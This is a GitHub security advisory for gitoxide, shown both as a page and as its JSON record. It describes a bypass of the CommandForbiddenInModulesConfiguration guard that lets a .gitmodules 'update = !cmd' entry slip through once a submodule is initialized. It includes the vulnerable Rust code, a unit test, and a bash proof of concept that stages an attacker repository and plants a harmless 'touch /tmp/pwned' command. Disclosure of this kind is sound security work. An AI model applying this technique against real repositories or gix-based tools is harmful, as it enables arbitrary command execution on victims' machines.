GHSA-F26G-JM89-4G65

Vulnerability from github – Published: 2026-05-05 19:23 – Updated: 2026-06-30 17:41
VLAI
Summary
gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules
Details

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

  1. Attacker's repo ships a benign .gitmodules (no update key).
  2. Victim clones and runs git submodule init -> .git/config contains: ini [submodule "sub"] active = true url = /tmp/sub-origin
  3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
  4. Victim runs git pull -> .gitmodules now contains: ini [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwned while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard: - The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed. - However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}
$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
    update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}
$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that: 1. Calls Submodule::update() to determine the update strategy, and 2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

  • The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
  • The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
  • Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

  • CI/forge integrations that auto-init submodules and then query the update mode
  • Editor/IDE extensions using gix for submodule info
  • Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "gix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.31.0"
            },
            {
              "fixed": "0.83.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40034"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-349",
      "CWE-501",
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:23:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n[`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !\u003cshell command\u003e`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary.\n\nHowever, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section.\n\nOnce a submodule has been initialized (any workflow that writes `submodule.\u003cname\u003e.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file.\n\nOn an identical repository state, `git submodule update` aborts with `fatal: invalid value for \u0027submodule.sub.update\u0027`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command(\"touch /tmp/pwned\")))`.\n\nThe vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.\n\n### Details\n\nThe vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:\n\n```rust\npub fn update(\u0026self, name: \u0026BStr) -\u003e Result\u003cOption\u003cUpdate\u003e, config::update::Error\u003e {\n    let value: Update = match self.config.string(format!(\"submodule.{name}.update\")) {\n        //                    ^^^^^^^^^^^^^^^^^^\n        //  [A] Reads the value. gix_config::File::string() iterates sections\n        //      newest-to-oldest; if the override section lacks `update`, it\n        //      falls through to .gitmodules and returns the attacker value.\n        //\n        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76\n        Some(v) =\u003e v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {\n            submodule: name.to_owned(),\n            actual: v.into_owned(),\n        })?,\n        None =\u003e return Ok(None),\n    };\n\n    if let Update::Command(cmd) = \u0026value {\n        let ours = self.config.meta();\n        let has_value_from_foreign_section = self\n            .config\n            .sections_by_name(\"submodule\")\n            .into_iter()\n            .flatten()\n            .any(|s| s.header().subsection_name() == Some(name) \u0026\u0026 !std::ptr::eq(s.meta(), ours));\n            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n            //  [B] Checks only that SOME section with this name exists from a\n            //      non-.gitmodules source. Does NOT check where [A]\u0027s value\n            //      came from.\n        if !has_value_from_foreign_section {\n            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });\n        }\n    }\n    Ok(Some(value))\n}\n```\n\n### PoC\n\n`git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`.\n\nSince CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited.\n\nSo, the attack sequence is:\n\n1. Attacker\u0027s repo ships a benign `.gitmodules` (no `update` key).\n2. Victim clones and runs `git submodule init` -\u003e `.git/config` contains:\n   ```ini\n   [submodule \"sub\"]\n       active = true\n       url = /tmp/sub-origin\n   ```\n3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`.\n4. Victim runs `git pull` -\u003e `.gitmodules` now contains:\n   ```ini\n   [submodule \"sub\"]\n       path = sub\n       url = /tmp/sub-origin\n       update = !touch /tmp/pwned\n   ```\n   while `.git/config` is unchanged.\n\nThis is the precise state that bypasses gitoxide\u0027s guard:\n- The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.\n- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker\u0027s !touch /tmp/pwned.\n\nThe bug is the mismatch between what [A] and [B] actually inspect: [A] asks \"which section provides the update value?\" (answer: .gitmodules), while [B] asks \"does any trusted section exist for this submodule?\" (answer: yes). A correct guard would ask the same question as [A].\n\nGit itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output.\n\n### Option 1: Unit test (verified - passes, confirming the bug)\n\nDrop into `gix-submodule/tests/file/mod.rs` inside `mod update`:\n\n```rust\n#[test]\nfn security_bypass_via_partial_override() {\n    use std::str::FromStr;\n\n    // Attacker-controlled .gitmodules\n    let gitmodules =\n        \"[submodule.a]\\n url = https://example.com/a\\n update = !touch /tmp/pwned\";\n\n    // Post-`git submodule init` state: only `url` copied to .git/config\n    let repo_config =\n        gix_config::File::from_str(\"[submodule.a]\\n url = https://example.com/a\").unwrap();\n\n    let module =\n        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, \u0026repo_config).unwrap();\n\n    let result = module.update(\"a\".into());\n    // VULNERABLE: prints `Ok(Some(Command(\"touch /tmp/pwned\")))`\n    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`\n    eprintln!(\"{:?}\", result);\n}\n```\n\n```console\n$ cargo test -p gix-submodule security_bypass -- --nocapture\nrunning 1 test\nbypass result: Ok(Some(Command(\"touch /tmp/pwned\")))\ntest file::update::security_bypass_via_partial_override ... ok\n```\n\n### Option 2: End-to-end - git refuses, gitoxide accepts\n\nVerified with **git 2.51.2** and **gix @ `dd5c18d9e`**.\n\n```bash\n#!/bin/bash\nset -e\ncd /tmp\nrm -rf evil-repo victim sub-origin 2\u003e/dev/null || true\n\n# --- Setup ---\nmkdir sub-origin \u0026\u0026 cd sub-origin\ngit init -q \u0026\u0026 git commit -q --allow-empty -m init\ncd /tmp\n\n# --- [1] Attacker creates repo with BENIGN submodule ---\nmkdir evil-repo \u0026\u0026 cd evil-repo\ngit init -q\ngit -c protocol.file.allow=always submodule add /tmp/sub-origin sub\ngit commit -q -m \"add submodule (benign)\"\ncd /tmp\n\n# --- [2] Victim clones and inits (passes git\u0027s .gitmodules validation) ---\ngit -c protocol.file.allow=always clone -q /tmp/evil-repo victim\ncd victim\ngit submodule init\n# .git/config now has: [submodule \"sub\"] active=true, url=..., NO update key\ncd /tmp\n\n# --- [3] Attacker adds malicious update to .gitmodules ---\ncd evil-repo\ncat \u003e\u003e .gitmodules \u003c\u003c\u0027EOF\u0027\n\tupdate = !touch /tmp/pwned\nEOF\ngit commit -q -am \"add malicious update\"\ncd /tmp\n\n# --- [4] Victim pulls ---\ncd victim\ngit pull -q\n```\n\nFinal state:\n```\n--- .gitmodules:\n[submodule \"sub\"]\n        path = sub\n        url = /tmp/sub-origin\n        update = !touch /tmp/pwned\n--- .git/config (submodule section):\n[submodule \"sub\"]\n        active = true\n        url = /tmp/sub-origin\n```\n\n**Upstream git on this state:**\n```console\n$ cd /tmp/victim \u0026\u0026 git submodule update\nfatal: invalid value for \u0027submodule.sub.update\u0027\n$ echo $?\n128\n$ test -f /tmp/pwned \u0026\u0026 echo VULNERABLE || echo SAFE\nSAFE\n```\n\n**Gitoxide on the same state:**\n```rust\n// /tmp/gix-repro/main.rs\nlet repo = gix::open(\"/tmp/victim\")?;\nfor sm in repo.submodules()?.expect(\"submodules present\") {\n    println!(\"{}: {:?}\", sm.name(), sm.update());\n}\n```\n```console\n$ cargo run\nsub: Ok(Some(Command(\"touch /tmp/pwned\")))\n```\n\nThe `CommandForbiddenInModulesConfiguration` guard never fires.\n\n### Impact\n\n### Direct\n\nAny downstream code built on `gix` that:\n1. Calls `Submodule::update()` to determine the update strategy, and\n2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard)\n\n\u2026will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule.\n\n`gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However:\n\n- The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function.\n- The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary.\n- Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability.\n\n### Indirect / second-order\n\n- CI/forge integrations that auto-init submodules and then query the update mode\n- Editor/IDE extensions using `gix` for submodule info\n- Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence",
  "id": "GHSA-f26g-jm89-4g65",
  "modified": "2026-06-30T17:41:01Z",
  "published": "2026-05-05T19:23:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40034"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GitoxideLabs/gitoxide"
    },
    {
      "type": "WEB",
      "url": "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…